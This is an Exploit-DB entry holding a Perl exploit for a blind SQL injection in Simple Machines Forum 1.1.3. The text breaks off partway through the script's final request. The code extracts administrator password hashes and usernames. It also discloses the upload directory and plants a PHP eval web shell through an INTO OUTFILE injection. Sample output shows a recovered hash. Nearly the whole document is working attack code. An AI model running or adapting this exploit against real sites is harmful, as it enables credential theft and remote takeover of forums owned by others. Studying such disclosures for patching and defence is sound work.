Exploit-DB #4547
Description: Simple Machines Forum (SMF) 1.1.3 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2007-10-20
Author: Michael Brooks

Exploit:
#!/usr/bin/perl

#Written By Michael Brooks
#contact: th3(dot)r00k(at)gmail(dot)com

#SMF 1.1.3 Extremely fast Blind SQL Injection Exploit!
#	-Binary Search
#	-Multi-Threaded
#	-NO benchmark()'s
#
#Two SQL Injection flaws.
#Works with magic_quotes_gpc=On or Off. 
#Total Bypass of SMF's SQL Injection filter.

#I submitted a patch for these flaws:
#http://www.simplemachines.org/community/index.php?topic=196380.0

#I would like to thank RetroGod for being so skilled and willing to help me out. 

#**Warning** perl will somtimes seg fault when useing threads.
#Tested Under Linux

use LWP::UserAgent;
use threads;
use Thread::Semaphore;

	#global variables
	my $threads=1;
	my $semaphore = new Thread::Semaphore; 
	my $globPos : shared=1;
	my $oper : shared;
	my @result : shared;
	my $target;
	my $cookie=false;
	
	$type="sleep";

	main();#execute main
	sub main{
		$n=$threads;
		$u=$p=$b=1;
		$start_time=time;
		$e=1;
		#Process arguments passed by the command line.
		for($v=0;$v<=$#ARGV;$v++){
			if(substr($ARGV[$v],0,1) eq '-'){
				$var=substr($ARGV[$v],1);
				$$var=$ARGV[$v+1];
			}
		}
		
		@t=split('\?',$t);
		@t=split('index.php',@t[0]);
		$target=@t[0];
		if(index($target,"/",length($target)-1)==-1){
			$target=$target.'/';
		}
		if($e!=1){
			print "\nExample:\n";
			print "\nbrooks@TheLab:~/code/exploits\$ ./smf_blind_sql.pl -p  -u admin -t http://127.0.0.1/smf_1-1-3/index.php -n 4 -c SMFCookie218=a%3A4%3A%7Bi%3A0%3Bs%3A1%3A%222%22%3Bi%3A1%3Bs%3A40%3A%22091feddbd31bfa96932a5e4e6c34cb36f2686c1a%22%3Bi%3A2%3Bi%3A[PII_REDACTED]%3Bi%3A3%3Bi%3A1%3B%7D 
\n\nSMF Is Vulnerable!
Finding Password Hash for the Name: 'admin'
Please Standby...

Password Hash:
1d94709528bb1c83d08f3088d4043f4742891f4f
This attack used 161 HTTP requests and took 8 seconds to complete.
EOF\n\n";
			die();
		}
		$cookie=$c;
		$user=$u;
		if($n != 1){
			$threads=$n;
		}
		#Check to make sure the target is vulnerable
		if($b!=1||$p!=1){
			$vulnerable=1;
			#Yes I am assuming the default table prefix,  its a shame you can't access information_schema.
			#No prefix is needed for the non-cookie attack becase I do not need a union select or sub-select!
			bin_finder(2,1,"1","smf_members","and 1!=1");
			if(int(@result[0])!=0){
				$vulnerable=0;
			}
			$globPos=1;
			bin_finder(2,1,"1","smf_members","and 1=1");
			if(int(@result[0])!=1){
				$vulnerable=0;
			}
			if($vulnerable==1){
				print "SMF Is Vulnerable!\n"
			}else{
				print "\nATTACK FAILED!\n\n";
				if($cookie){
					print "Try sending a private message to your self or SMF might be patched.\n"
				}else{
					print "The non-cookie attack requires MySQL 5 so try using the exploit with -c or SMF might be patched.\n"
				}
				die();
			}
		}

		$m=0;
		if($p!=1){
			if($user != 1){
				print "Finding Password Hash for the Name: '$user'\n Please Standby...\n";				
				for(my $x=0;$x<$threads;$x++){
					#@threads[$x]=new threads \&bin_finder,16,40,"(conv(SUBSTRING(passwd,%s,1),16,10))=%s", "smf_members"," and memberName = '".$user."'";
					@threads[$x]=new threads \&bin_finder,16,40,"conv(SUBSTRING(passwd,%s,1),16,10)", "smf_members"," and memberName =". hex_encode($user);
				}
				for(my $x=0;$x<$threads;$x++){
					@threads[$x]->join;
				}
				print "\nPassword Hash:\n";
				foreach $y (@result){
					print sprintf("%x",$y);
				}
			}else{#
				print "Finding An Administrative Credental.\n Please Standby...\n";
				#bin_finder(128 ,1,"count(memberName)","smf_members"," and ID_GROUP=1 ");#single thread
				#$admin_count=@result[0];
				#$globPos=1;
				#print "There are $admin_count admins on this forum.\n";
				#for($a=0;$a<$admin_count;$a++){
					for(my $x=0;$x<$threads;$x++){
						@threads[$x]=new threads \&bin_finder,16,40,"conv(SUBSTRING(passwd,%s,1),16,10)", "smf_members"," and ID_MEMBER=1  ";
					}
					for(my $x=0;$x<$threads;$x++){
						@threads[$x]->join;
					}
					print "\nPassword Hash:\n";
					foreach $y (@result){
						print sprintf("%x",$y);
					}
					$globPos=1;
					bin_finder(256,1,"char_length(memberName)","smf_members"," and ID_MEMBER=1  ");#single thread
					$name_len=@result[0];
					$globPos=1;
					
					for($x=0;$x<$threads;$x++){
						@threads[$x]=new threads \&bin_finder,128,$name_len,"ASCII(SUBSTRING(memberName,%s,1))", "smf_members"," and ID_MEMBER=1  ";
					}
					for($x=0;$x<$threads;$x++){
						@threads[$x]->join;
					}
					print "\nName:\n";
					for($l=0;$l<=$name_len;$l++){
						print sprintf("%c",@result[$l]);
					}
					print "\n";
					@result=null;
					$globPos=1;
				#}
			}
		}elsif($b!=1){
			if(!$cookie){
				die("\nA cookie is needed for this attack!\n");
			}
			print "Determining the exact path to place the backdoor. \n Please standby...\n";
			bin_finder(512,1,"char_length(value)","smf_settings"," and variable = 'attachmentUploadDir'");#single thread
			$length=@result[0];
			$globPos=1;
			for(my $x=0;$x<$threads;$x++){
				@threads[$x]=new threads \&bin_finder,128,$length,"ASCII(SUBSTRING(value,%s,1))", "smf_settings"," and variable = 'attachmentUploadDir'";
			}
		
			for(my $x=0;$x<$threads;$x++){
				@threads[$x]->join;
			}
			$path='';
			print "Path Disclosed:";
			foreach $y (@result){
				$path.=sprintf("%c" ,$y);
			}
			print $path."\n";
			#$path=~s/_/?/g;#This accounts for the search request being modfied by SMF.
			#$path=~s/%/*/g;
			$r=rand();#Random file name so the attack will succeed multiple times against the same target. 
			my $ua = LWP::UserAgent->new;
			$ua->agent("Firebird");
			$ua->default_header("Cookie"=>$cookie);#Its tricky to get double quotes for the outfile statement.
			$load="\\,union select ".hex_encode("<?php eval(\$_GET[e]);?>").' into outfile  "","'.$path.'/'.$r.'.php",""#';		
			$tst= $ua->post($target."?action=pm;sa=search2",["advanced"=>"1","search"=>"1","searchtype"=>"1","u